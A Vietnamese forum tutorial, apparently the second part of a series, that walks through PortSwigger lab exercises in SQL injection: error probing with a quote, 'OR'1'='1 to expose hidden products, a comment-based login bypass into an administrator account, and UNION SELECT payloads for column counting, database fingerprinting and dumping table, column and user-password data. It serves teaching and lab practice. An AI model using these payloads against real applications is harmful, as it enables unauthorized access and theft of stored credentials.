Web Pentest SQL Injection cơ bản 02

Web Application Penetration Testing

thaidq90

Super Moderator
Hôm nay chúng ta sẽ đi tiếp về chủ đề SQL Injection. Ở phần này chúng ta sẽ cùng nhau thảo luận về các phương thức khai thác lỗ hổng SQL Injection cùng với ví dụ từ các bài lab của Portswigger.
1. Thu thập dữ liệu ẩn
- Ta có ứng dụng web thương mai điện tử https://0aea001a03dcba0f808f58060071006c.web-security-academy.net/ thể hiện các sản phẩm của nhiều thể loại
1755056525510.png

- Khi click vào một thể loại như "Accessories", đường dẫn sẽ chuyển đổi thành định dạng https://0aea001a03dcba0f808f58060071006c.web-security-academy.net/filter?category=Accessories
Ta thử thêm dấu ' parameter category và nhận được trang lỗi internal server error 500.
1755056699835.png

- Ta thử cân bằng câu query bằng payload '-- , ta sẽ nhận được trang trả về kết quả như trước
1755056785225.png

- Bây giờ ta dùng payload 'OR'1'='1 để thực hiện yêu cầu của bài lab là hiển thị các sản phẩm ẩn. ('1'='1' là biểu thức luôn đúng kết hợp với toán tử OR ta sẽ có câu truy vấn sẽ trả về tất cả các sản phẩm)
1755057291659.png


2. Làm sai lệch logic của ứng dụng
- Ứng dụng web có chức năng đăng nhập https://0a78007b0424fbb1834ff636005900c7.web-security-academy.net/login
1755057564976.png

- Ta thử nhập Username có dấu ' và Password bất kỳ để thử gây lỗi
1755057670988.png

- Sử dụng payload 'OR'1'='1'-- ở Username để bypass chức năng đăng nhập (Tương tự bài 1, 'OR'1'='1' sẽ biến điều kiện WHERE username = '[value1]' thành câu luôn đúng, tuy nhiên sau điều kiện WHERE username ta còn điều kiện AND password= '[value2]' ở đây ta dùng -- để comment lại điều kiện AND password = '[value2]' ở sau làm thay đổi logic của câu truy vấn)
1755058042526.png

1755057973320.png

- Vì đây là chức năng đăng nhập ứng dụng sẽ chỉ lấy kết quả đầu tiên (có thể nằm trong câu truy vấn SELECT TOP 1 WHERE username = '[value1]' and password='[value2]' hoặc được lọc lại ở trên code xử lý của ứng dụng), nên ta sẽ đăng nhập vào tài khoản đầu tiên của ứng dụng (ở đây là tài khoản administrator)
3. Thu thập dữ liệu từ những bảng khác trong cơ sở dữ liệu
- Quay lại bài lab đầu tiên, ngoài khả năng lấy những dữ liệu ẩn, ta còn có thể lấy được dữ liệu của những bảng khác trong cơ sở dữ liệu bằng cách sử dụng UNION trong SQL.
- Để sử dụng câu UNION ta cần xác định câu SELECT chọn bao nhiêu cột trong bảng (vì câu UNION SELECT phải cùng số lượng cột).
Ví dụ: Giả sử câu truy vấn sản phẩm là :
SQL:
SELECT name, description FROM products WHERE category = '[value]'
Thì câu UNION ta chèn vào cũng chọn ra 2 cột
SQL:
SELECT name, description FROM products WHERE category = '[value]' UNION SELECT NULL,NULL --
hoặc lấy dữ liệu từ bảng users
SQL:
SELECT name, description FROM products WHERE category = '[value]' UNION SELECT username,password FROM users --
- Để xác định được số lượng cột câu truy vấn SQL đang chọn ta có thể dùng payload ORDER BY [NUMBER] với số NUMBER tăng dần lên đến khi gây ra lỗi (Ta sử dụng lại bài lab trước và thử đến số NUMBER = 8 - Ta xác định được câu truy vấn có 8 cột)
1755059369197.png

- Ta thử thay payload bằng 'UNION SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL -- để xác nhận câu UNION thành công.
* Chúng ta sử dụng NULL làm giá trị trả về từ truy vấn SELECT được chèn vào bởi vì các kiểu dữ liệu trong mỗi cột phải tương thích giữa truy vấn gốc và truy vấn được chèn. NULL có thể chuyển đổi sang mọi kiểu dữ liệu phổ biến, vì vậy nó tối đa hóa cơ hội payload sẽ thành công khi số lượng cột là chính xác.
1755068309992.png

- Mỗi hệ cơ sở dữ liệu sẽ có những view để truy vấn về cấu trúc của cơ sở dữ liệu như danh sách bảng, cột ... Trước hết ta cần xác định hệ cơ sở dữ liệu, ở lab này hệ cơ sở dữ liệu mà PostgreSQL.

Oracle
Mã:
SELECT banner FROM v$version
SELECT version FROM v$instance
MicrosoftSELECT @@version
PostgreSQLSELECT version()
MySQLSELECT @@version

1755069442957.png

- Sử dụng hàm current_database() để lấy tên cơ sở dữ liệu hiện tại.
1755069730403.png

- Lấy danh sách các bảng và các cột ở trong cơ sở dữ liệu

Oracle
Mã:
SELECT * FROM all_tables
SELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE'
Microsoft
Mã:
SELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
PostgreSQL
Mã:
SELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
MySQL
Mã:
SELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'

Sử dụng payload UNION SELECT NULL,NULL,table_name,NULL,NULL,NULL,NULL,NULL FROM information_schema.tables WHERE table_schema = 'public'-- thêm filter table_schema='public' để giới hạn trong những bảng thuộc schema 'public' (*là schema măc định cho các bảng trong PostgreSQL)
1755070179606.png

Sử dụng payload ' UNION SELECT NULL,NULL,column_name,NULL,NULL,NULL,NULL,NULL FROM information_schema.columns WHERE table_name = 'products'-- để lấy ra danh sách các cột trong bảng 'products'
1755070316077.png


Bài viết cũng đã dài, mình tạm dừng ở đây, bài tiếp theo mình sẽ nói về khai thác double query và blind true false trong SQL Injection.
 
Back
Top